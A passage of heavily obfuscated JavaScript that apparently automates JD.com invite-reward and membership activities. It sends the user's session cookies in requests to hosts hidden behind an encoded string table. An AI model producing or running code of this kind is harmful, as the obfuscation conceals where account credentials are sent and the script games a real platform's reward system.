_0x3ea1ec===_0x5bf07e;},'DADzc':_0x56ae('‫9e'),'FQMLm':function(_0x498656){return _0x498656();},'MlmUH':function(_0x50de13,_0x21fd8b){return _0x50de13-_0x21fd8b;},'fEyNQ':function(_0x30615c,_0x1b3b2a){return _0x30615c+_0x1b3b2a;},'riQAh':_0x56ae('‮9f'),'mKMuY':_0x56ae('‮a0'),'ruLPQ':_0x56ae('‫a1'),'YiUpK':_0x56ae('‮a2'),'IBNSF':_0x56ae('‫a3'),'GOfzx':_0x56ae('‫a4')};$[_0x56ae('‫a5')]=Date[_0x56ae('‫a5')]();return new Promise(async _0x1d9b52=>{var _0x5f5cd1={'AhgsG':function(_0x55a89c,_0x19bedd){return _0x49c44e[_0x56ae('‫a6')](_0x55a89c,_0x19bedd);},'GoKrf':_0x49c44e[_0x56ae('‫a7')],'nkTHz':_0x49c44e[_0x56ae('‫a8')],'nspVY':_0x49c44e[_0x56ae('‫a9')],'tOmPJ':function(_0x36552e,_0x2ba744){return _0x49c44e[_0x56ae('‮aa')](_0x36552e,_0x2ba744);},'YMThZ':_0x49c44e[_0x56ae('‮ab')],'xzDiG':function(_0x17abbd){return _0x49c44e[_0x56ae('‫ac')](_0x17abbd);}};const _0x6f0a04={'url':_0x56ae('‮ad')+$[_0x56ae('‫a5')]+_0x56ae('‮ae')+_0x49c44e[_0x56ae('‫af')]($[_0x56ae('‫a5')],0x2)+_0x56ae('‫b0')+_0x49c44e[_0x56ae('‮b1')]($[_0x56ae('‫a5')],0x2),'headers':{'Accept':_0x49c44e[_0x56ae('‫b2')],'Accept-Encoding':_0x49c44e[_0x56ae('‫b3')],'Accept-Language':_0x49c44e[_0x56ae('‮b4')],'Connection':_0x49c44e[_0x56ae('‮b5')],'Cookie':cookie,'Host':_0x49c44e[_0x56ae('‫b6')],'Referer':_0x49c44e[_0x56ae('‫b7')],'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba')}};$[_0x56ae('‮bb')](_0x6f0a04,(_0xa4b3a1,_0x119652,_0x251088)=>{var _0x5029ce={'ecApN':function(_0x2ab2fe,_0x85c35d){return _0x5f5cd1[_0x56ae('‫bc')](_0x2ab2fe,_0x85c35d);},'xiQfI':_0x5f5cd1[_0x56ae('‫bd')]};try{if(_0x5f5cd1[_0x56ae('‫bc')](_0x5f5cd1[_0x56ae('‮be')],_0x5f5cd1[_0x56ae('‮be')])){if(_0xa4b3a1){console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0xa4b3a1));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}else{if(_0x251088){console[_0x56ae('‮7')](_0x251088);}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}else{$[_0x56ae('‮61')](e,_0x119652);}}catch(_0x398f26){if(_0x5f5cd1[_0x56ae('‫bc')](_0x5f5cd1[_0x56ae('‮bf')],_0x5f5cd1[_0x56ae('‮bf')])){$[_0x56ae('‮61')](_0x398f26,_0x119652);}else{Object[_0x56ae('‮1')](jdCookieNode)[_0x56ae('‫2')](_0x4b81bb=>{cookiesArr[_0x56ae('‫3')](jdCookieNode[_0x4b81bb]);});if(process[_0x56ae('‮4')][_0x56ae('‫5')]&&_0x5029ce[_0x56ae('‫c0')](process[_0x56ae('‮4')][_0x56ae('‫5')],_0x5029ce[_0x56ae('‮c1')]))console[_0x56ae('‮7')]=()=>{};}}finally{if(_0x5f5cd1[_0x56ae('‫c2')](_0x5f5cd1[_0x56ae('‮c3')],_0x5f5cd1[_0x56ae('‮c3')])){_0x5f5cd1[_0x56ae('‫c4')](_0x1d9b52);}else{console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0xa4b3a1));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}}});});}function getActivityPage(){var _0x70bb38={'nBisO':function(_0x15fe11,_0x372b61){return _0x15fe11|_0x372b61;},'dUffq':function(_0x34b227,_0x25e096){return _0x34b227*_0x25e096;},'KYXFg':function(_0x126b11,_0x3c5c32){return _0x126b11==_0x3c5c32;},'nWPni':function(_0x411c54,_0x196b31){return _0x411c54&_0x196b31;},'OOTAY':function(_0x879a39,_0x56bed4){return _0x879a39===_0x56bed4;},'xwzkU':_0x56ae('‫c5'),'tiHwL':function(_0x489244,_0x1691ef){return _0x489244!==_0x1691ef;},'YbrVk':_0x56ae('‫c6'),'ZSIYm':_0x56ae('‫c7'),'dZsZQ':_0x56ae('‮c8'),'tENaK':function(_0xc35fa9){return _0xc35fa9();},'irUHD':function(_0x5c7784,_0xb827ea){return _0x5c7784!=_0xb827ea;},'ruPdf':_0x56ae('‮c9'),'lzJqf':_0x56ae('‫ca'),'AlsKK':_0x56ae('‮9f'),'ilHnr':_0x56ae('‮a0'),'qZQUf':_0x56ae('‮cb'),'UigwE':_0x56ae('‮a2'),'aeENw':_0x56ae('‫cc'),'pzuhz':_0x56ae('‫cd'),'KKWuF':_0x56ae('‫ce'),'hLLoW':_0x56ae('‫a4')};return new Promise(async _0x5c86e9=>{var _0x5c9b53={'RHlXg':function(_0x446d6e,_0x58bca7){return _0x70bb38[_0x56ae('‫cf')](_0x446d6e,_0x58bca7);},'IzTjm':function(_0x4c78d6,_0x424aaa){return _0x70bb38[_0x56ae('‫d0')](_0x4c78d6,_0x424aaa);},'syndd':function(_0x29c638,_0x3b2e57){return _0x70bb38[_0x56ae('‮d1')](_0x29c638,_0x3b2e57);},'nLxso':function(_0x57be81,_0x593ed3){return _0x70bb38[_0x56ae('‮d2')](_0x57be81,_0x593ed3);},'xgTBc':function(_0x1fa952,_0x55345f){return _0x70bb38[_0x56ae('‮d3')](_0x1fa952,_0x55345f);},'xGqLp':_0x70bb38[_0x56ae('‫d4')],'rYdna':function(_0x263b99,_0x4a8efb){return _0x70bb38[_0x56ae('‮d5')](_0x263b99,_0x4a8efb);},'vnJQx':_0x70bb38[_0x56ae('‫d6')],'WPgLz':_0x70bb38[_0x56ae('‫d7')],'CARed':_0x70bb38[_0x56ae('‫d8')],'hbaVW':function(_0x5bc296){return _0x70bb38[_0x56ae('‮d9')](_0x5bc296);},'LBkuv':function(_0xa23004,_0x245c16){return _0x70bb38[_0x56ae('‮da')](_0xa23004,_0x245c16);}};if(_0x70bb38[_0x56ae('‮d5')](_0x70bb38[_0x56ae('‮db')],_0x70bb38[_0x56ae('‮dc')])){const _0x2d359c={'url':_0x56ae('‫dd')+actCode+_0x56ae('‫de')+invitePin+_0x56ae('‫df')+Date[_0x56ae('‫a5')](),'headers':{'Accept':_0x70bb38[_0x56ae('‫e0')],'Accept-Encoding':_0x70bb38[_0x56ae('‫e1')],'Accept-Language':_0x70bb38[_0x56ae('‮e2')],'Connection':_0x70bb38[_0x56ae('‫e3')],'Content-Type':_0x70bb38[_0x56ae('‮e4')],'Cookie':cookie,'Host':_0x70bb38[_0x56ae('‫e5')],'Origin':_0x70bb38[_0x56ae('‫e6')],'Referer':_0x70bb38[_0x56ae('‫e7')],'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba')}};$[_0x56ae('‮bb')](_0x2d359c,(_0x4e79d4,_0x1036ac,_0x5ac156)=>{var _0x49516a={'KMlfg':function(_0xc31db5,_0x5c339c){return _0x5c9b53[_0x56ae('‮e8')](_0xc31db5,_0x5c339c);},'ylEJU':function(_0x592093,_0xe256b1){return _0x5c9b53[_0x56ae('‮e9')](_0x592093,_0xe256b1);},'KCcDT':function(_0xa9ff2b,_0xc119f){return _0x5c9b53[_0x56ae('‮ea')](_0xa9ff2b,_0xc119f);},'XlECf':function(_0x382d37,_0x182188){return _0x5c9b53[_0x56ae('‫eb')](_0x382d37,_0x182188);}};if(_0x5c9b53[_0x56ae('‫ec')](_0x5c9b53[_0x56ae('‫ed')],_0x5c9b53[_0x56ae('‫ed')])){try{if(_0x4e79d4){console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x4e79d4));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}else{if(_0x5ac156){if(_0x5c9b53[_0x56ae('‮ee')](_0x5c9b53[_0x56ae('‮ef')],_0x5c9b53[_0x56ae('‫f0')])){_0x5ac156=JSON[_0x56ae('‫6e')](_0x5ac156);if(_0x5ac156[_0x56ae('‮f1')]){$[_0x56ae('‮4c')]=_0x5ac156[_0x56ae('‫f2')];}}else{console[_0x56ae('‮7')](error);}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}catch(_0x3eeaad){$[_0x56ae('‮61')](_0x3eeaad,_0x1036ac);}finally{if(_0x5c9b53[_0x56ae('‫ec')](_0x5c9b53[_0x56ae('‮f3')],_0x5c9b53[_0x56ae('‮f3')])){_0x5c9b53[_0x56ae('‫f4')](_0x5c86e9);}else{if(_0x5ac156){_0x5ac156=JSON[_0x56ae('‫6e')](_0x5ac156);if(_0x5ac156[_0x56ae('‮f1')]){$[_0x56ae('‮4c')]=_0x5ac156[_0x56ae('‫f2')];}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}}else{var _0x4fbc7a=_0x49516a[_0x56ae('‫f5')](_0x49516a[_0x56ae('‮f6')](0x10,Math[_0x56ae('‮f7')]()),0x0),_0x6c88bf=_0x49516a[_0x56ae('‫f8')]('x',x)?_0x4fbc7a:_0x49516a[_0x56ae('‫f5')](_0x49516a[_0x56ae('‮f9')](0x3,_0x4fbc7a),0x8);return uuid=t?_0x6c88bf[_0x56ae('‫fa')](0x24)[_0x56ae('‫fb')]():_0x6c88bf[_0x56ae('‫fa')](0x24),uuid;}});}else{if(_0x5c9b53[_0x56ae('‫fc')]($[_0x56ae('‮3a')],0x1)){$[_0x56ae('‮33')]+=0x1;}}});}function getFirstInvite(){var _0x41cdd3={'smUqH':function(_0x5b743f,_0x40430d){return _0x5b743f===_0x40430d;},'bHOfA':_0x56ae('‫fd'),'MGPip':_0x56ae('‫fe'),'lJnbU':function(_0x2e45f9,_0x294c94){return _0x2e45f9!==_0x294c94;},'gZkhW':_0x56ae('‫ff'),'sryqu':_0x56ae('‫100'),'bKRaI':_0x56ae('‫101'),'ZVfmT':_0x56ae('‮102'),'PMJmW':_0x56ae('‫103'),'TJNcL':function(_0x1a28b3){return _0x1a28b3();},'NYPOC':function(_0x52c017,_0x1b99bf){return _0x52c017+_0x1b99bf;},'sbdaZ':function(_0x203315,_0x26045e){return _0x203315+_0x26045e;},'kTwXH':function(_0x538549,_0x5c9665){return _0x538549+_0x5c9665;},'nVqpO':function(_0xb2be5b,_0x23dec5){return _0xb2be5b+_0x23dec5;},'mNBBz':_0x56ae('‮18'),'AnkBb':_0x56ae('‮19'),'vKAOH':_0x56ae('‫1a'),'IvaJa':_0x56ae('‮1b'),'FsNQt':function(_0x307ffe,_0x38e872){return _0x307ffe!=_0x38e872;},'eLtfN':_0x56ae('‮9f'),'fNYoL':_0x56ae('‮a0'),'MSXOo':_0x56ae('‮cb'),'DELOx':_0x56ae('‮a2'),'hTNWe':_0x56ae('‫cc'),'oiKcb':_0x56ae('‫cd'),'BAyCK':_0x56ae('‫ce'),'fIqBi':_0x56ae('‫a4')};return new Promise(async _0x564efa=>{var _0xebab41={'NWrUF':function(_0xcdd014,_0x4bf8c0){return _0x41cdd3[_0x56ae('‮104')](_0xcdd014,_0x4bf8c0);},'prxCJ':function(_0x1f8cf3,_0x217bc4){return _0x41cdd3[_0x56ae('‮105')](_0x1f8cf3,_0x217bc4);},'HPucb':function(_0x4c5a52,_0x75416){return _0x41cdd3[_0x56ae('‫106')](_0x4c5a52,_0x75416);},'acfGO':function(_0x357a27,_0x19890a){return _0x41cdd3[_0x56ae('‮107')](_0x357a27,_0x19890a);},'ZaZBg':function(_0x8f0d9d,_0x31429b){return _0x41cdd3[_0x56ae('‮107')](_0x8f0d9d,_0x31429b);},'mnxxN':function(_0x4e5841,_0x2cf806){return _0x41cdd3[_0x56ae('‮107')](_0x4e5841,_0x2cf806);},'DbjOf':_0x41cdd3[_0x56ae('‫108')],'sKaGw':_0x41cdd3[_0x56ae('‮109')],'sdGoy':_0x41cdd3[_0x56ae('‫10a')],'FhkPr':_0x41cdd3[_0x56ae('‮10b')],'YAmYl':function(_0x5ca4c2,_0x4919f7){return _0x41cdd3[_0x56ae('‫10c')](_0x5ca4c2,_0x4919f7);}};const _0xc18374={'url':_0x56ae('‫10d')+actCode,'headers':{'Accept':_0x41cdd3[_0x56ae('‫10e')],'Accept-Encoding':_0x41cdd3[_0x56ae('‮10f')],'Accept-Language':_0x41cdd3[_0x56ae('‫110')],'Connection':_0x41cdd3[_0x56ae('‫111')],'Content-Type':_0x41cdd3[_0x56ae('‮112')],'Cookie':cookie,'Host':_0x41cdd3[_0x56ae('‮113')],'Origin':_0x41cdd3[_0x56ae('‫114')],'Referer':_0x41cdd3[_0x56ae('‫115')],'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba')}};$[_0x56ae('‮bb')](_0xc18374,(_0x346486,_0x357212,_0x220a38)=>{if(_0x41cdd3[_0x56ae('‫116')](_0x41cdd3[_0x56ae('‫117')],_0x41cdd3[_0x56ae('‮118')])){console[_0x56ae('‮7')](_0x346486);}else{try{if(_0x346486){console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x346486));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}else{if(_0x41cdd3[_0x56ae('‮119')](_0x41cdd3[_0x56ae('‮11a')],_0x41cdd3[_0x56ae('‫11b')])){if(_0x220a38){if(_0x41cdd3[_0x56ae('‮119')](_0x41cdd3[_0x56ae('‫11c')],_0x41cdd3[_0x56ae('‮11d')])){_0x220a38=JSON[_0x56ae('‫6e')](_0x220a38);if(_0x220a38[_0x56ae('‮f1')]){$[_0x56ae('‫11e')]=_0x220a38[_0x56ae('‫f2')];console[_0x56ae('‮7')](_0x41cdd3[_0x56ae('‮11f')]);}}else{console[_0x56ae('‮7')](_0xebab41[_0x56ae('‫120')](_0xebab41[_0x56ae('‮121')](_0xebab41[_0x56ae('‫122')](_0xebab41[_0x56ae('‫123')](_0xebab41[_0x56ae('‫123')](_0xebab41[_0x56ae('‫123')](_0xebab41[_0x56ae('‫123')](_0xebab41[_0x56ae('‫124')](_0xebab41[_0x56ae('‮125')](_0xebab41[_0x56ae('‫126')],vo[_0x56ae('‮55')]),_0xebab41[_0x56ae('‫127')]),vo[_0x56ae('‫57')]),_0xebab41[_0x56ae('‫127')]),vo[_0x56ae('‮58')]),_0xebab41[_0x56ae('‮128')]),vo[_0x56ae('‫5a')]),_0xebab41[_0x56ae('‫129')]),vo[_0x56ae('‮5c')]));if(_0xebab41[_0x56ae('‫12a')](vo[_0x56ae('‮58')][_0x56ae('‫5e')]('京豆'),-0x1)){$[_0x56ae('‮35')][_0x56ae('‫3')](vo[_0x56ae('‮55')]);help=vo[_0x56ae('‮5c')];}}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}else{$[_0x56ae('‮61')](e,_0x357212);}}}catch(_0x5be577){$[_0x56ae('‮61')](_0x5be577,_0x357212);}finally{_0x41cdd3[_0x56ae('‮12b')](_0x564efa);}}});});}function getInviteReward(_0x1c0d05){var _0x1c9eb4={'IePXj':function(_0xcfb5b0,_0x5b2f9b){return _0xcfb5b0(_0x5b2f9b);},'BXxyP':function(_0x22b103,_0x25205a){return _0x22b103*_0x25205a;},'PxeQP':function(_0x3a2d52,_0x4285fa){return _0x3a2d52-_0x4285fa;},'mZhIk':function(_0x2dbde2){return _0x2dbde2();},'IFyXX':function(_0x3c7a29,_0x5cbc3e){return _0x3c7a29+_0x5cbc3e;},'XDtxJ':function(_0x5ae08a,_0xfe900){return _0x5ae08a+_0xfe900;},'eCzvO':function(_0x573960,_0x40a408){return _0x573960+_0x40a408;},'geSiG':_0x56ae('‮18'),'FoQtZ':_0x56ae('‮19'),'zFElD':_0x56ae('‫1a'),'uIvRg':_0x56ae('‮1b'),'amsrm':function(_0x4d371f,_0x4599cd){return _0x4d371f!=_0x4599cd;},'WNcAw':function(_0x564d92,_0x583749){return _0x564d92+_0x583749;},'eUFgt':_0x56ae('‮1c'),'mfgDf':function(_0x7e07c1,_0x41e10b){return _0x7e07c1+_0x41e10b;},'DUlOC':_0x56ae('‮12c'),'mqaAR':function(_0x6aa162,_0x26c796){return _0x6aa162===_0x26c796;},'tqWXQ':_0x56ae('‫12d'),'FavRg':_0x56ae('‫12e'),'RnBUF':_0x56ae('‫12f'),'jQDWC':_0x56ae('‫130'),'aMUkW':function(_0x3955be,_0x418b13){return _0x3955be!==_0x418b13;},'ciSzi':_0x56ae('‮131'),'xwqbw':_0x56ae('‮132'),'BzcQE':_0x56ae('‮133'),'YFHRa':_0x56ae('‫134'),'oUNPe':_0x56ae('‫135'),'Cjwoj':function(_0x53574b,_0x40964b){return _0x53574b!==_0x40964b;},'AKAsa':_0x56ae('‮136'),'sTzXx':_0x56ae('‮137'),'AotUk':function(_0xfa7092,_0x1f8bf9){return _0xfa7092!==_0x1f8bf9;},'leGYn':_0x56ae('‮138'),'WDnyO':_0x56ae('‮139'),'uyKNo':function(_0x4f0542){return _0x4f0542();},'qCdtR':_0x56ae('‮13a'),'CVYtd':_0x56ae('‫13b'),'NtElT':_0x56ae('‮9f'),'RHIRd':_0x56ae('‮a0'),'YVQMT':_0x56ae('‮cb'),'onCGp':_0x56ae('‮a2'),'EaOqC':_0x56ae('‫cc'),'lTJKZ':_0x56ae('‫cd'),'XYQRF':_0x56ae('‫ce'),'yFGZn':_0x56ae('‫a4')};return new Promise(async _0xedd6bb=>{var _0x4f42a9={'SkbzP':function(_0x3021ac,_0x1b2bab){return _0x1c9eb4[_0x56ae('‮13c')](_0x3021ac,_0x1b2bab);},'Aghbu':function(_0x37dd0f,_0x256830){return _0x1c9eb4[_0x56ae('‮13d')](_0x37dd0f,_0x256830);},'gkYJp':function(_0x45f615,_0x4da89f){return _0x1c9eb4[_0x56ae('‫13e')](_0x45f615,_0x4da89f);},'JXckf':function(_0x554837){return _0x1c9eb4[_0x56ae('‫13f')](_0x554837);},'quyiA':function(_0x5c9b72,_0x26b09f){return _0x1c9eb4[_0x56ae('‫140')](_0x5c9b72,_0x26b09f);},'IpYHB':function(_0x388f57,_0x3836fe){return _0x1c9eb4[_0x56ae('‫140')](_0x388f57,_0x3836fe);},'tmsJt':function(_0x4ca87c,_0x27823f){return _0x1c9eb4[_0x56ae('‮141')](_0x4ca87c,_0x27823f);},'snULZ':function(_0x225cae,_0x256311){return _0x1c9eb4[_0x56ae('‫142')](_0x225cae,_0x256311);},'YchlK':_0x1c9eb4[_0x56ae('‮143')],'jluzY':_0x1c9eb4[_0x56ae('‫144')],'CQYzE':_0x1c9eb4[_0x56ae('‮145')],'kEvRF':_0x1c9eb4[_0x56ae('‫146')],'voKxP':function(_0x5c30b1,_0x1e32c7){return _0x1c9eb4[_0x56ae('‫147')](_0x5c30b1,_0x1e32c7);},'eCAMg':function(_0x4ab922,_0x10aff9){return _0x1c9eb4[_0x56ae('‫148')](_0x4ab922,_0x10aff9);},'VhODO':_0x1c9eb4[_0x56ae('‮149')],'QMtVW':function(_0x4ac72d,_0x4ed272){return _0x1c9eb4[_0x56ae('‫14a')](_0x4ac72d,_0x4ed272);},'lzAKH':_0x1c9eb4[_0x56ae('‮14b')],'pzSOE':function(_0x474bfe,_0x36652b){return _0x1c9eb4[_0x56ae('‮14c')](_0x474bfe,_0x36652b);},'ShPJZ':_0x1c9eb4[_0x56ae('‫14d')],'vxgmR':_0x1c9eb4[_0x56ae('‫14e')],'gXkHt':_0x1c9eb4[_0x56ae('‫14f')],'bAzCy':_0x1c9eb4[_0x56ae('‮150')],'sIwOE':function(_0x2d792c,_0x2b5557){return _0x1c9eb4[_0x56ae('‮151')](_0x2d792c,_0x2b5557);},'qtrob':_0x1c9eb4[_0x56ae('‮152')],'ncMNG':_0x1c9eb4[_0x56ae('‮153')],'LqYmU':_0x1c9eb4[_0x56ae('‮154')],'wMIQh':_0x1c9eb4[_0x56ae('‫155')],'BfGMo':_0x1c9eb4[_0x56ae('‫156')],'VQhbV':function(_0x4ece8a,_0x3bd92c){return _0x1c9eb4[_0x56ae('‫157')](_0x4ece8a,_0x3bd92c);},'pAXYZ':_0x1c9eb4[_0x56ae('‮158')],'IEfcH':_0x1c9eb4[_0x56ae('‮159')],'Mvhtx':function(_0x287d69,_0x58b3ca){return _0x1c9eb4[_0x56ae('‮15a')](_0x287d69,_0x58b3ca);},'uTdWP':_0x1c9eb4[_0x56ae('‫15b')],'ifKkl':_0x1c9eb4[_0x56ae('‮15c')],'FGNMl':function(_0x2ab154){return _0x1c9eb4[_0x56ae('‫15d')](_0x2ab154);}};if(_0x1c9eb4[_0x56ae('‮15a')](_0x1c9eb4[_0x56ae('‫15e')],_0x1c9eb4[_0x56ae('‫15f')])){const _0x17a6bf={'url':_0x56ae('‮160')+actCode+_0x56ae('‮161')+_0x1c0d05,'headers':{'Accept':_0x1c9eb4[_0x56ae('‫162')],'Accept-Encoding':_0x1c9eb4[_0x56ae('‮163')],'Accept-Language':_0x1c9eb4[_0x56ae('‮164')],'Connection':_0x1c9eb4[_0x56ae('‮165')],'Content-Type':_0x1c9eb4[_0x56ae('‫166')],'Cookie':cookie,'Host':_0x1c9eb4[_0x56ae('‫167')],'Origin':_0x1c9eb4[_0x56ae('‫168')],'Referer':_0x1c9eb4[_0x56ae('‫169')],'User-Agent':_0x56ae('‮b8')+$[_0x56ae('‮48')]+_0x56ae('‫b9')+$[_0x56ae('‫45')]+_0x56ae('‮ba')}};$[_0x56ae('‮bb')](_0x17a6bf,(_0x1f9075,_0x3f6453,_0x9c0e1c)=>{var _0x5d4a98={'GvIpX':function(_0x3914b7,_0x4c8126){return _0x4f42a9[_0x56ae('‫16a')](_0x3914b7,_0x4c8126);},'AxVWm':_0x4f42a9[_0x56ae('‫16b')],'TcVAo':function(_0xdd5812){return _0x4f42a9[_0x56ae('‫16c')](_0xdd5812);}};if(_0x4f42a9[_0x56ae('‫16d')](_0x4f42a9[_0x56ae('‮16e')],_0x4f42a9[_0x56ae('‫16f')])){return _0x4f42a9[_0x56ae('‮170')](parseInt,_0x4f42a9[_0x56ae('‫171')](_0x4f42a9[_0x56ae('‮172')](max,min),Math[_0x56ae('‮f7')]()));}else{try{if(_0x1f9075){if(_0x4f42a9[_0x56ae('‫16d')](_0x4f42a9[_0x56ae('‫173')],_0x4f42a9[_0x56ae('‫174')])){_0x4f42a9[_0x56ae('‫16c')](_0xedd6bb);}else{console[_0x56ae('‮7')](''+JSON[_0x56ae('‫8a')](_0x1f9075));console[_0x56ae('‮7')]($[_0x56ae('‮2f')]+_0x56ae('‫8b'));}}else{if(_0x9c0e1c){if(_0x4f42a9[_0x56ae('‫175')](_0x4f42a9[_0x56ae('‮176')],_0x4f42a9[_0x56ae('‫177')])){_0x9c0e1c=JSON[_0x56ae('‫6e')](_0x9c0e1c);if(_0x9c0e1c){if(_0x4f42a9[_0x56ae('‫16d')](_0x4f42a9[_0x56ae('‫178')],_0x4f42a9[_0x56ae('‫178')])){$[_0x56ae('‮179')]=_0x9c0e1c[_0x56ae('‫f2')];console[_0x56ae('‮7')](_0x9c0e1c);}else{res=JSON[_0x56ae('‫6e')](_0x9c0e1c);if(res[_0x56ae('‮f1')]){console[_0x56ae('‮7')](_0x5d4a98[_0x56ae('‮17a')](_0x5d4a98[_0x56ae('‮17b')],res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')]));$[_0x56ae('‫76')]=res[_0x56ae('‮17c')][_0x56ae('‮17d')][_0x56ae('‫76')];if(res[_0x56ae('‮17c')][_0x56ae('‫17e')]){$[_0x56ae('‫17f')]=res[_0x56ae('‮17c')][_0x56ae('‫17e')][0x0][_0x56ae('‫180')][_0x56ae('‮181')];}}}}}else{$[_0x56ae('‮8f')]();}}else{if(_0x4f42a9[_0x56ae('‫16d')](_0x4f42a9[_0x56ae('‫182')],_0x4f42a9[_0x56ae('‫183')])){_0x5d4a98[_0x56ae('‮184')](_0xedd6bb);}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}}catch(_0x134ead){if(_0x4f42a9[_0x56ae('‮185')](_0x4f42a9[_0x56ae('‫186')],_0x4f42a9[_0x56ae('‮187')])){$[_0x56ae('‮61')](_0x134ead,_0x3f6453);}else{if(_0x9c0e1c){_0x9c0e1c=JSON[_0x56ae('‫6e')](_0x9c0e1c);if(_0x9c0e1c){$[_0x56ae('‮179')]=_0x9c0e1c[_0x56ae('‫f2')];console[_0x56ae('‮7')](_0x9c0e1c);}}else{console[_0x56ae('‮7')](_0x56ae('‮32'));}}}finally{if(_0x4f42a9[_0x56ae('‫188')](_0x4f42a9[_0x56ae('‫189')],_0x4f42a9[_0x56ae('‮18a')])){_0x4f42a9[_0x56ae('‫18b')](_0xedd6bb);}else{for(const _0x2dc776 of $[_0x56ae('‮4c')][_0x56ae('‫4e')]){console[_0x56ae('‮7')](_0x4f42a9[_0x56ae('‫18c')](_0x4f42a9[_0x56ae('‫18c')](_0x4f42a9[_0x56ae('‫18c')](_0x4f42a9[_0x56ae('‫18c')](_0x4f42a9[_0x56ae('‫18c')](_0x4f42a9[_0x56ae('‮18d')](_0x4f42a9[_0x56ae('‮18e')](_0x4f42a9[_0x56ae('‮18f')](_0x4f42a9[_0x56ae('‮18f')](_0x4f42a9[_0x56ae('‫190')],_0x2dc776[_0x56ae('‮55')]),_0x4f42a9[_0x56ae('‫191')]),_0x2dc776[_0x56ae('‫57')]),_0x4f42a9[_0x56ae('‫191')]),_0x2dc776[_0x56ae('‮58')]),_0x4f42a9[_0x56ae('‫192')]),_0x2dc776[_0x56ae('‫5a')]),_0x4f42a9[_0x56ae('‫193')]),_0x2dc776[_0x56ae('‮5c')]));if(_0x4f42a9[_0x56ae('‮194')](_0x2dc776[_0x56ae('‮58')][_0x56ae('‫5e')]('京豆'),-0x1)){$[_0x56ae('‮35')][_0x56ae('‫3')](_0x2dc776[_0x56ae('‮55')]);help=_0x2dc776[_0x56ae('‮5c')];}}console[_0x56ae('‮7')](_0x4f42a9[_0x56ae('‮195')](_0x4f42a9[_0x56ae('‮196')],help));}}}});}else{$[_0x56ae('‮7')]('','❌\x20'+$[_0x56ae('‮2f')]+_0x56ae('‮8d')+e+'!','');}});}function getRuhui(){var _0x1cbd66={'kaYCn':function(_0x168ca9){return _0x168ca9();},'fKRjk':_0x56ae('‫103'),'dpTKv':function(_0x55e097,_0x173ca1){return _0x55e097===_0x173ca1;},'HtAsD':_0x56ae('‮197'),'hjITj':_0x56ae('‮198'),'dvXPh':function(_0x25859c,_0x27633b){return _0x25859c!==_0x27633b;},'dHhAD':_0x56ae('‮199'),'WBtnW':_0x56ae('‫19a'),'iiinv':_0x56ae('‮19b'),'nugnc':_0x56ae('‮19c'),'oYyJL':function(_0x1dd1b4,_0x5c04c6){return _0x1dd1b4!=_0x5c04c6;},'VZbhj':_0x56ae('‫19d'),'EpSKs':_0x56ae('‮19e'),'dGQOt':_0x56ae('‫19f'),'ZEaHh':_0x56ae('‫1a0'),'PQOEB':_0x56ae('‮1a1'),'uAFCd':function(_0xf620a1){return _0xf620a1();},'lmPXG':_0x56ae('‮9f'),'NmeLY':_0x56ae('‮a0'),'UnZNX':_0x56ae('‮cb'),'MyBYf':_0x56ae('‮a2'),'jDCIb':_0x56ae('‫cc'),'lhpPP':_0x56ae('‫cd'),'ANIei':_0x56ae('‫ce'),'EizaK':_0x56ae('‫1a2')};return new Promise(async _0x88e250=>{var _0x553f33={'krvwB':function(_0x2580d0){return _0x1cbd66[_0x56ae('‫1a3')](_0x2580d0);},'feQWI':_0x1cbd66[_0x56ae('‫1a4')],'uSqnf':function(_0x35465b,_0x5f04a6){return _0x1cbd66[_0x56ae('‮1a5')](_0x35465b,_0x5f04a6);},'fFaXU':_0x1cbd66[_0x56ae('‫1a6')],'zDcLQ':_0x1cbd66[_0x56ae('‫1a7')],'QLLQS':function(_0x1f88b6,_0x38cfaf){return _0x1cbd66[_0x56ae('‮1a8')](_0x1f88b6,_0x38cfaf);},'oxcCY':_0x1cbd66[_0x56ae('‫1a9')],'AOoOo':_0x1cbd66[_0x56ae('‮1aa')],'mnhgt':function(_0x2d7390,_0x4cbe1b){return _0x1cbd66[_0x56ae('‮1a5')](_0x2d7390,_0x4cbe1b);},'MjbaO':_0x1cbd66[_0x56ae('‮1ab')],'IeKRC':_0x1cbd66[_0x56ae('‫1ac')],'HcJgf':function(_0x2d21d6,_0x25d974){return _0x1cbd66[_0x56ae('‫1ad')](_0x2d21d6,_0x25d974);},'aGxYH':_0x1cbd66[_0x56ae('‮1ae')],'alaSB':_0x1cbd66[_0x56ae('‮1af')],'HWLyz':_0x1cbd66[_0x56ae('‫1b0')],'ZCpEl':_0x1cbd66[_0x56ae('‮1b1')],'YSOqi':_0x1cbd66[_0x56ae('‮1b2')],'vPhPi':function(_0x1edd4a){return _0x1cbd66[_0x56ae('‮1b3')](_0x1edd4a);}};const 